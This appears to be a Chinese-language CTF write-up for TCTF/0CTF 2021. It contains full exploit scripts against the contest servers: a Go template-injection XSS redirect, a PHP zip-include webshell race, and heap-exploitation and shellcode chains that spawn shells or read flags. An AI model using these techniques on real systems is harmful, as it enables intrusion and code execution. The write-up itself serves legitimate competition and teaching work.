TCTF/0CTF 2021 By W&M
TCTF/0CTF 2021 - W&M
WEB
WorldCup
level 0
fuzz,发现nickname在部分地方对 // /* 有反应,结合cookie是go,猜到go模板注入,使用以前题目里学到的
{{.}}
输出当前模板渲染使用的data
然后发现输出data配合消息里的
`
可以xss
`};window.location.href=String.fromCharCode(104,116,116,112,58,47,47...);{`
之后打开页面会直接跳转无法正常访问,直接抓包/dashboard,找hash,提交/api/check。
#pyver:2x
import hashlib
target = "0ed8f7"
i= 0
while 1:
if hashlib.md5(str(i)).hexdigest().startswith(target):
print(i)
exit(0)
i+=1;
User-Agent: set cookie: level1 NoQWeCy70QekDB5b
去控制台执行
function setCookie(name,value,days) {
var expires = "";
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days*24*60*60*1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/";
}
function getCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function eraseCookie(name) {
document.cookie = name +'=; Path=/; Expires=Thu, 01 Jan 1970 00:00:01 GMT;';
}
setCookie("level1","NoQWeCy70QekDB5b")
level 1
自己的用户名不再输出到页面上,同时可以check admin2,但是语法更不严格了(level0还需要配合{{.}}打)
`);window.location.href=String.fromCharCode(104,116,116,112,58,47,47,...);(`
User-Agent: set cookie: level2 Autx5F53FmmSFayM
setCookie("level2","Autx5F53FmmSFayM")
level 2
可以进入casino
fuzz得知,url的bet参数可以进行ssti,类似第一步的,但是拦截了
{{.}}#可以使用{{$}}{{.money}}
模板不能修改传入的属性,只能读取
map[_nonce:qUBPAT898qihZ1DNDR5hiA money:0 o0ps_u_Do1nt_no_t1:66 o0ps_u_Do1nt_no_t2:39]
fuzz得知,内部bet只看传入的字符串的第一个字节,其他的内容都忽略,并且模板渲染在bet之后发生
利用go模板提供的比较函数,比较o0ps_u_Do1nt_no_t1和o0ps_u_Do1nt_no_t2,如果不是想要的值,就让他模板里报错(call 调用的参数不是函数),不继续向下执行,money不保存
http://111.186.58.249:19260/casino?bet=1{{if%20gt%20.o0ps_u_Do1nt_no_t1%20%20.o0ps_u_Do1nt_no_t2}}1{{else}}0{{call%201}}{{end}}
多刷新几次然后点buy flag
1linephp
压缩两个文件(保证shell.php在第二个位置),编辑zip,把第一个文件的开头删掉十六个字节(因为upload_progress_是十六个字节),不需要额外修复文件等操作,直接文件塞到上传过程里去
# coding=utf-8
import io
import requests
import threading
sessid = 'azipsc2'
url = "http://111.186.59.2:50080/"
thedata = open("web1.zip","rb").read()
while 1:
f = io.BytesIO(b'a' * 1024 * 50)
resp = requests.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': thedata},
files={'file': ('padding.txt', f)}, cookies={'PHPSESSID': sessid})
#print(resp.text)
exit(0)
import requests
while 1:
a = requests.get("http://111.186.59.2:50080/?yxxx=zip:///tmp/sess_azipsc2%23shell&1=system('cat /dd810fc36330c200a_flag/flag');").text
print(len(a))
if len(a) < 5000:
print(a)
PWN
BabyHeap2021
edit内当size为0xffffxxxx时会造成堆溢出,因此unbin打stdin使prev和next带有值,unbin打mal.bins[38]->head,造任意地址申请,然后覆盖stdin结构体,exit的时候会close_file(stdin),里面会调用fwrite指针,由于此时rbp指向stdin结构体的头部,因此将fwrite指针劫持为leave_ret来栈迁移orw读flag
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
context.log_level = 'debug'
binary = 'babyheap'
elf = ELF('babyheap')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
else:
host = "111.186.59.11"
port = 11124
p = remote(host,port)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla("mmand: ",str(idx))
def add(size,payload):
cmd(1)
sla("Size: ",str(size))
sa("Content: ",payload)
def free(idx):
cmd(3)
sla("ndex: ",str(idx))
def show(idx):
cmd(4)
sla("ndex: ",str(idx))
def edit(idx,size,payload):
cmd(2)
sla("ndex: ",str(idx))
sla("ize: ",str(size))
sa("tent: ",payload)
add(str(0x10),"a"*0x10+'\n')
add(str(0x100),"a"*0x10+'\n')
add(str(0x10),"a"*0x10+'\n')
add(str(0x10),"a"*0x10+'\n')
add(str(0x10),"x"*0x10+'\n')#4
add(str(0x10),"a"*0x10+'\n')
add(str(0x10),"a"*0x10+'\n')
add(str(0x10),"a"*0x10+'\n')
add(str(0x10),"a"*0x10+'\n')
add(str(0x10),"a"*0x10+'\n')
add(str(0x10),"a"*0x10+'\n')
payload = "a"*0x10+p64(0x21)+p64(0x141)
payload += "b"*0x110+p64(0x121)+p64(0x21)+"d"*0x10
payload += p64(0x141)+p64(0x21)
edit(0,str(0xffffffff),payload+'\n')
free(1)
add(str(0x100),"a"*0x10+'\n')
show(2)
libc_base = l64()-0xb6a40
lg("libc_base",libc_base)
add(str(0x10),"a"*0x10+'\n')#11
free(5)
payload = "x"*0x10+p64(0x21)+p64(0x20)+p64(0xb6180+libc_base-0x10)*2+p64(0x20)+p64(0x21)
edit(4,str(0xffffffff),payload+'\n')
add(str(0x10),"a"*0x10+'\n')#5
bin_addr = libc_base + 0xb6dc0
free(7)
edit(5,0x10,p64(bin_addr-0x10)+p64(0xb6180+libc_base-0x10)+'\n')
add(0x10,"a"*0x10+'\n')
libc_addr = 0x6000+libc_base
pop_rdi = 0x0000000000015291+libc_addr
pop_rsi = 0x000000000001d829+libc_addr
pop_rdx = 0x000000000002cdda+libc_addr
syscall = 0x0000000000023720+libc_addr
pop2r = 0x00000000000161e1+libc_addr
pop_rax = 0x0000000000016a16+libc_addr
payload = "flag\x00\x00\x00\x00" # stdin->flags
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)
payload += p64(pop_rdi)
payload += p64(0x3) # stdin->wpos
payload += p64(pop_rsi)
payload += p64(0xb6180+libc_base-0x10+0x200) # stdin->wbase
payload += p64(pop_rdx)
payload += p64(libc_addr+0x0000000000016992)#leaver
add(0x50,payload+'\n')
payload = "flag\x00\x00\x00\x00" # stdin->flags
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)
payload += p64(pop_rdi)
payload += p64(0x3) # stdin->wpos
payload += p64(pop_rsi)
payload += p64(0xb6180+libc_base-0x10+0x200) # stdin->wbase
payload += p64(pop_rdx)
payload += p64(libc_addr+0x0000000000016992)#leaver
payload += p64(pop_rdx)+p64(0x100)
payload += p64(pop_rax)+p64(0)+p64(syscall)
payload += p64(pop2r)+p64(1)+p64(0xffffffffffffffff)
payload += p64(pop_rdi)+p64(1)
payload += p64(pop_rax)+p64(1)+p64(syscall)
edit(12,str(0xffffffff),payload+'\n')
# gdb.attach(p,"b exit")
cmd(5)
p.interactive()
#addr = 0x00007ffff7f45000
Listbook
当name为0x80的时候会返回负数造成数组上溢,使index为0和1的chunk链表变为可用,造成uaf,由于没有edit以及只能申请0x200以及0x30的chunk的限制,我们考虑用堆风水造几个0x30的chunk然后用fastbin attack来劫持free_hook为system从而getshell
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
# context.log_level = 'debug'
binary = 'listbook'
elf = ELF('listbook')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
else:
host = "111.186.58.249"
port = 20001
p = remote(host,port)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla(">>",str(idx))
def add(idx,payload):
cmd(1)
sa("name>",str(idx))
sa("content>",payload)
def free(idx):
cmd(2)
sla("index>",str(idx))
def show(idx):
cmd(3)
sla("index>",str(idx))
add(p8(0)+'\n','\n')
add(p8(2)+'\n','\n')
add(p8(3)+'\n','\n')
add(p8(4)+'\n','\n')
add(p8(5)+'\n','\n')
add(p8(6)+'\n','\n')
add(p8(7)+'\n','\n')
add(p8(8)+'\n','\n')
add(p8(9)+'\n','\n')
add(p8(13)+'\n','\n')
for i in range(7):
add(p8(15)+'\n','\n')
free(0)
free(2)
add(p8(0)+'\n','\n')
free(0)
add(p8(2)+'\n','\n')
add(p8(0x80)+'\n','\n')
free(15)
free(0)#0-->2
for i in range(7):
add(p8(15)+'\n','\n')
for i in range(3):
add(p8(14)+'\n','\n')
free(3)
add(p8(0)+'\n','\n')
free(0)
add(p8(3)+'\n','\n')
add(p8(0x80)+'\n','\n')
free(15)
free(0)
for i in range(7):
add(p8(15)+'\n','\n')
for i in range(4):
add(p8(14)+'\n','\n')
free(4)
add(p8(0)+'\n','\n')
free(0)
add(p8(4)+'\n','\n')
add(p8(0x80)+'\n','\n')
free(15)
free(0)
for i in range(7):
add(p8(15)+'\n','\n')
for i in range(4):
add(p8(14)+'\n','\n')
free(5)
add(p8(0)+'\n','\n')
free(0)
add(p8(5)+'\n','\n')
add(p8(0x80)+'\n','\n')
free(15)
free(0)
for i in range(7):
add(p8(15)+'\n','\n')
for i in range(4):
add(p8(14)+'\n','\n')
free(6)
add(p8(0)+'\n','\n')
free(0)
add(p8(6)+'\n','\n')
add(p8(0x80)+'\n','\n')
free(15)
free(0)
for i in range(7):
add(p8(15)+'\n','\n')
for i in range(4):
add(p8(14)+'\n','\n')
free(7)
add(p8(0)+'\n','\n')
free(0)
add(p8(7)+'\n','\n')
add(p8(0x80)+'\n','\n')
free(15)
free(0)
for i in range(7):
add(p8(15)+'\n','\n')
for i in range(4):
add(p8(14)+'\n','\n')
free(8)
add(p8(0)+'\n','\n')
free(0)
add(p8(8)+'\n','\n')
add(p8(0x80)+'\n','\n')
free(15)
free(0)
for i in range(7):
add(p8(15)+'\n','\n')
for i in range(4):
add(p8(14)+'\n','\n')
free(13)
add(p8(0)+'\n','\n')
free(0)
add(p8(13)+'\n','\n')
add(p8(0x80)+'\n','\n')
free(15)
free(0)
for i in range(7):
add(p8(15)+'\n','\n')
for i in range(4):
add(p8(14)+'\n','\n')
add(p8(0)+'\n','\n')
add("a"*0x10,'\n')
add(p8(1)+'\n','\n')
show(0)
ru("a"*0x10)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))-0x2a0
lg("heap_addr",heap_addr)
for i in range(7):
add(p8(12)+'\n','\n')
free(12)
free(1)
free(0)
add(p8(0x80)+'\n','\n')
show(0)
libc_base = l64()-0x1ebde0
lg("libc_base",libc_base)
for i in range(7):
free(i+2)
free(1)
free(13)
add(p8(0x80)+'\n','\n')
free(1)
add(p64(libc_base+libc.sym["__free_hook"]-0x10)+'\n',"\n")
add('\n','\n')
add('\n','\n')
for i in range(4):
add('\n','\n')
add('\n','\n')
add(p64(libc_base+libc.sym["system"])+'\n','\n')
add(p8(1)+'\n','/bin/sh\x00\n')
free(1)
p.sendline("cat flag")
#attach(p)
# gdb.attach(p,"b *$rebase(0x138F)")
p.interactive()
uc_masteeeer
便于调试,写了这样的一个sim.c编译出来,然后dump 0xdeadbeef000 到 0xdeadbeef000 + 0x2000的部分。
#include <sys/mman.h>
char nopslide[0x1000];
char hltslide[0x1000];
char MAIN[535] = "\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3";
char TAIL[175] = "\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3";
char ADMIN[154] = "\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3";
int main(){
memset(nopslide, 0x90, 0x1000);
memset(hltslide, 0xf4, 0x1000);
void* code = mmap(0xdeadbeef000, 0x1000, 0x7, 0x22, 0, 0);
memcpy(code, nopslide, 0x1000);
void* code_1000 = mmap(0xdeadbeef000 + 0x1000, 0x1000, 0x7, 0x22, 0, 0);
memcpy(code_1000, nopslide, 0x1000);
void* code_2000 = mmap(0xdeadbeef000 + 0x2000, 0x1000, 0x7, 0x22, 0, 0);
memcpy(code_2000, nopslide, 0x1000);
memcpy(code, MAIN, 535);
memcpy(code_2000, TAIL, 175);
void* stack = mmap(0xbabecafe000, 0x1000, 0x6, 0x22, 0, 0);
*(unsigned long*)(stack) = 0xdeadbeef000 + 0x1000;
*(unsigned long*)(stack + 0x8) = 0xdeadbeef000 + 0x2000;
*(unsigned long*)(stack + 0x10) = 0xdeadbeef000;
memcpy(code_1000, hltslide, 0x1000);
memcpy(code_1000, ADMIN, 154);
__asm__("mov rax, 0xdeadbeef000");
__asm__("mov rsp, 0xbabecafef00");
__asm__("jmp rax");
}
程序有三个选项,运行admin,运行自己的代码和修改某个地方的值。对应题目源码,当地址为CODE + 0x6b - 5的时候,admin_hook会被调用,is_admin会被设置为True,同时admin代码被写到CODE+0x1000的位置。
在向0xbabecafe233写值的时候,如果is_admin,就会走到os.system(cmd[7:cmd.index(0)].decode('utf-8')),很明显这里就是目标。
admin的0xdeadbef0028汇编代码是mov [0xbabecafe233], rax
。
沿着CODE + 0x6b - 5往下走几步,发现他调用amdin的方式是jmp [0xbabecafe000],那其实这个地址的内容是可控的,如果我们先执行自己的代码,然后把这个地址修改,就可以做到既把admin代码copy到程序中(isAdmin = True),但又控制rip不去触发os.system的部分。跳到哪里就是关键,其实也没什么选择,直接跳到option3就可以了,然后发现option3返回main的方式是直接jmp,所以不会出现问题。
理一下逻辑:
- 调用option2
- 修改[0xbabecafe000]的值为option3的地址
- 跳到CODE + 0x6b - 5,此时admin函数被复制到程序,isAdmin = True
- 在0xdeadbeef091,程序会跳转到option3
- 通过option3修改admin函数中的
echo ...
部分为任意指令 - 程序返回到main
- 调用option3,恢复[0xbabecafe000]的值,因为调用option2的时候是通过这个地址进行跳转的,我们修改为admin(CODE + 0x1000)的地址
- 调用option2,此时会走到admin函数,因为admin函数覆盖过来了。
- 执行到
mov [0xbabecafe233], rax
时,命令执行
需要注意的点是因为破坏了栈的数据,所以栈平衡会出问题,在第7步读取option的时候可能会出问题,所以需要在自己的代码里把rsp给设置好。
0: 48 b8 00 e0 af ec ab movabs rax,0xbabecafe000
7: 0b 00 00
a: 48 bb c0 f0 ee db ea movabs rbx,0xdeadbeef0c0
11: 0d 00 00
14: 48 89 18 mov QWORD PTR [rax],rbx
17: 48 b8 d8 ee af ec ab movabs rax,0xbabecafeed8
1e: 0b 00 00
21: 48 bb 2e ef af ec ab movabs rbx,0xbabecafef2e
28: 0b 00 00
2b: 48 89 18 mov QWORD PTR [rax],rbx
2e: 48 b8 66 f0 ee db ea movabs rax,0xdeadbeef066
35: 0d 00 00
38: ff e0 jmp rax
from pwn import *
r = remote("111.186.59.29", 10087)
r.send("\x48\xB8\x00\xE0\xAF\xEC\xAB\x0B\x00\x00\x48\xBB\xC0\xF0\xEE\xDB\xEA\x0D\x00\x00\x48\x89\x18\x48\xB8\xD8\xEE\xAF\xEC\xAB\x0B\x00\x00\x48\xBB\x2E\xEF\xAF\xEC\xAB\x0B\x00\x00\x48\x89\x18\x48\xB8\x66\xF0\xEE\xDB\xEA\x0D\x00\x00\xFF\xE0")
r.recvuntil("patch data")
r.send("2")
r.recvuntil("addr")
r.send(p64(0xdeadbef0053 + 7))
r.recvuntil("size")
r.send(p64(0x10))
r.recvuntil("data")
r.send("/readflag".ljust(0x10, "\x00"))
r.recvuntil("patch data")
r.send("3")
r.recvuntil("addr")
r.send(p64(0xbabecafe000))
r.recvuntil("size")
r.send(p64(8))
r.recvuntil("data")
r.send(p64(0xdeadbeef000 + 0x1000))
r.recvuntil("patch data")
r.send("2")
r.interactive()
Crypto
checkin
快速幂,要计算 $2^{(2^e)}$ ,即给2做e次平方运算,但测试发现时间不太够用,那就每次做四次方,时间减半后就过了
from gmpy2 import powmod
from pwn import *
def ksm(a,b,mod):
ans=1
while b:
if b&1==1:
ans=(ans*a)%mod
b>>=1
a=(a*a)%mod
return ans%mod
context.log_level='debug'
r = remote("111.186.59.11",16256)
r.recvline()
r.recv(5)
b = int(r.recvuntil(")")[:-1].strip().decode())
r.recv(5)
mod = int(r.recvuntil(" =")[:-1].strip().decode())
ans = 2
for i in range(b//2):
ans = powmod(ans,4,mod)
if(b&1):
ans = powmod(ans,2,mod)
print(ans)
r.recvuntil("Your answer: ")
r.sendline(str(ans))
r.recvuntil("Here is your flag: ")
flag = r.recvline(False)
print(flag)
zer0lfsr-
z3一把梭,Generator1和Generator3比较好解,稍微控制一下能够在规定时间内解出来就行了,具体见代码
from pwn import *
from hashlib import sha256
from Crypto.Util.number import *
import re
context.log_level = 'debug'
r = remote("111.186.59.28", "31337")
table = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!#$%&*-?'
def passpow():
rev = r.recvuntil("sha256(XXXX + ")
suffix = r.recv(16).decode()
r.recvuntil(" == ")
res = r.recv(64).decode()
def f(x):
hashresult = sha256((x+suffix).encode()).hexdigest()
if hashresult == res:
return 1
else:
return 0
prefix = util.iters.mbruteforce(f,table,4,'upto')
r.recvuntil("XXXX:\n")
r.sendline(str(prefix))
def get_value(msg):
res = re.findall(b"start:::.*?:::end",msg,re.S)
return res
passpow()
print("Successfully passed the pow!")
def get_output(msg):
output = ''
assert len(msg) == 1000
for i in msg:
output += bin(i)[2:].zfill(8)
assert len(output) == 8000
return output
def _prod(L):
p = 1
for x in L:
p *= x
return p
def _sum(L):
s = 0
for x in L:
s ^= x
return s
def n2l(x, l):
return list(map(int, '{{0:0{}b}}'.format(l).format(x)))
def my_n2l(x, l):
res = []
for i in range(l-1,-1,-1):
res.append((x>>i)&1)
return res
class Generator1:
def __init__(self, key: list):
assert len(key) == 64
self.NFSR = key[: 48]
self.LFSR = key[48: ]
self.TAP = [0, 1, 12, 15]
self.TAP2 = [[2], [5], [9], [15], [22], [26], [39], [26, 30], [5, 9], [15, 22, 26], [15, 22, 39], [9, 22, 26, 39]]
self.h_IN = [2, 4, 7, 15, 27]
self.h_OUT = [[1], [3], [0, 3], [0, 1, 2], [0, 2, 3], [0, 2, 4], [0, 1, 2, 4]]
def g(self):
x = self.NFSR
return _sum(_prod(x[i] for i in j) for j in self.TAP2)
def h(self):
x = [self.LFSR[i] for i in self.h_IN[:-1]] + [self.NFSR[self.h_IN[-1]]]
return _sum(_prod(x[i] for i in j) for j in self.h_OUT)
def f(self):
return _sum([self.NFSR[0], self.h()])
def clock(self):
o = self.f()
self.NFSR = self.NFSR[1: ] + [self.LFSR[0] ^ self.g()]
self.LFSR = self.LFSR[1: ] + [_sum(self.LFSR[i] for i in self.TAP)]
return o
def next(self):
for i in range(1):
o = self.clock()
return o
class Generator2:
def __init__(self, key):
assert len(key) == 64
self.NFSR = key[: 16]
self.LFSR = key[16: ]
self.TAP = [0, 35]
self.f_IN = [0, 10, 20, 30, 40, 47]
self.f_OUT = [[0, 1, 2, 3], [0, 1, 2, 4, 5], [0, 1, 2, 5], [0, 1, 2], [0, 1, 3, 4, 5], [0, 1, 3, 5], [0, 1, 3], [0, 1, 4], [0, 1, 5], [0, 2, 3, 4, 5], [
0, 2, 3], [0, 3, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4], [1, 2, 3, 5], [1, 2], [1, 3, 5], [1, 3], [1, 4], [1], [2, 4, 5], [2, 4], [2], [3, 4], [4, 5], [4], [5]]
self.TAP2 = [[0, 3, 7], [1, 11, 13, 15], [2, 9]]
self.h_IN = [0, 2, 4, 6, 8, 13, 14]
self.h_OUT = [[0, 1, 2, 3, 4, 5], [0, 1, 2, 4, 6], [1, 3, 4]]
def f(self):
x = [self.LFSR[i] for i in self.f_IN]
return _sum(_prod(x[i] for i in j) for j in self.f_OUT)
def h(self):
x = [self.NFSR[i] for i in self.h_IN]
return _sum(_prod(x[i] for i in j) for j in self.h_OUT)
def g(self):
x = self.NFSR
return _sum(_prod(x[i] for i in j) for j in self.TAP2)
def clock(self):
self.LFSR = self.LFSR[1: ] + [_sum(self.LFSR[i] for i in self.TAP)]
self.NFSR = self.NFSR[1: ] + [self.LFSR[1] ^ self.g()]
return self.f() ^ self.h()
def next(self):
for i in range(2):
o = self.clock()
return o
class Generator3:
def __init__(self, key: list):
assert len(key) == 64
self.LFSR = key
self.TAP = [0, 55]
self.f_IN = [0, 8, 16, 24, 32, 40, 63]
self.f_OUT = [[1], [6], [0, 1, 2, 3, 4, 5], [0, 1, 2, 4, 6]]
def f(self):
x = [self.LFSR[i] for i in self.f_IN]
return _sum(_prod(x[i] for i in j) for j in self.f_OUT)
def clock(self):
self.LFSR = self.LFSR[1: ] + [_sum(self.LFSR[i] for i in self.TAP)]
return self.f()
def next(self):
for i in range(3):
o = self.clock()
return o
from z3 import *
def get_data(x):
r.recvuntil("which one:")
r.sendline(str(x))
data = get_value(r.recvuntil("hint:"))
keystream = ''
msg = []
for i in range(5):
msg.append(get_output(data[i][8:-6]))
keystream += msg[i]
hashres = r.recvline(False).strip().decode()
r.recvline()
return keystream,hashres
def solve1():
keystream,hashres = get_data(1)
s = Solver()
k = BitVec('k', 64)
lfsr = Generator1(my_n2l(k,64))
for i in range(70):
s.add(int(keystream[i]) == lfsr.next())
print("Try solving level1...")
try:
s.check()
kk = s.model()[k]
print(kk)
print(sha256(str(kk).encode()).hexdigest() == hashres)
except:
pass
r.sendline(str(kk))
def solve3():
keystream,hashres = get_data(3)
s = Solver()
k = BitVec('k', 64)
lfsr = Generator3(my_n2l(k,64))
for i in range(300):
s.add(int(keystream[i]) == lfsr.next())
print("Try solving level3...")
try:
s.check()
kk = s.model()[k]
print(kk)
print(sha256(str(kk).encode()).hexdigest() == hashres)
except:
pass
r.sendline(str(kk))
solve1()
solve3()
r.interactive()
Misc
uc_baaaby
读一下源码,发现需要用汇编代码实现md5,不能产生block,汇编行数不能超过0x233。但是因为输入的长度固定,所以其实是可以实现的。先找到一份md5加密的高级代码,然后转换成汇编代码。
https://github.com/0v3rW4tch/Cryptography-course-design/blob/master/mymd5.py
算法的核心就是先填充,然后循环64次。每次循环里有两个关键值f和flag。flag每次是固定的,所以可以直接写进汇编代码中,所以主要的逻辑就是计算f。 我们可以先写出一个简陋的版本,分别用eax, ebx, ecx, edx来储存a, b, c, d四个变量:
k = [3614090360, 3905402710, 606105819, 3250441966, 4118548399, 1200080426, 2821735955, 4249261313, 1770035416, 2336552879, 4294925233, 2304563134, 1804603682, 4254626195, 2792965006, 1236535329, 4129170786, 3225465664, 643717713, 3921069994, 3593408605, 38016083, 3634488961, 3889429448, 568446438, 3275163606, 4107603335, 1163531501, 2850285829, 4243563512, 1735328473, 2368359562, 4294588738, 2272392833, 1839030562, 4259657740, 2763975236, 1272893353, 4139469664, 3200236656, 681279174, 3936430074, 3572445317, 76029189, 3654602809, 3873151461, 530742520, 3299628645, 4096336452, 1126891415, 2878612391, 4237533241, 1700485571, 2399980690, 4293915773, 2240044497, 1873313359, 4264355552, 2734768916, 1309151649, 4149444226, 3174756917, 718787259, 3951481745]
r = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21
]
# some other code
if i < 16:
f = (b & c) | ((~b) & d)
flag = i
if i != 0:
file_f.write("mov edi, ebx ; stage 1\n")
file_f.write("and edi, ecx\n")
file_f.write("mov esi, ebx\n")
file_f.write("not esi\n")
file_f.write("and esi, edx\n")
file_f.write("or edi, esi\n")
# f is calculated
